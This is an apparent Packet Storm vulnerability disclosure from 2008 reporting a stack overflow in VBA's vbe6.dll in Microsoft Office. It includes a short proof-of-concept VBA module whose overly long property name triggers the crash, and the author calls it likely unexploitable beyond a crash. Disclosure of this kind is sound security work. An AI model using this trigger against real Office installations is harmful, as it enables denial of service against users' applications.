vbe6-dos.txt

2008-03-31T00:00:00
ID PACKETSTORM:65015
Type packetstorm
Reporter Marsu
Modified 2008-03-31T00:00:00

Description

                                        
                                            `Stack overflow in vbe6.dll, (used by all versions of MS Office)  
The overflow occurs in Visual Basic for Application.   
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.  
  
Probably impossible to exploit, but who knows? ^^ At least, there still exist stack overflows in Office apps :P  
  
Marsu <Marsupilamipowa@hotmail.fr>  
  
Module1.bas:  
  
Attribute VB_Name = "Module1"  
  
Public Property Get aaabcdefghissssssaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssssssssssssssssssssssssssssssssssssade() As Variant  
  
End Property  
`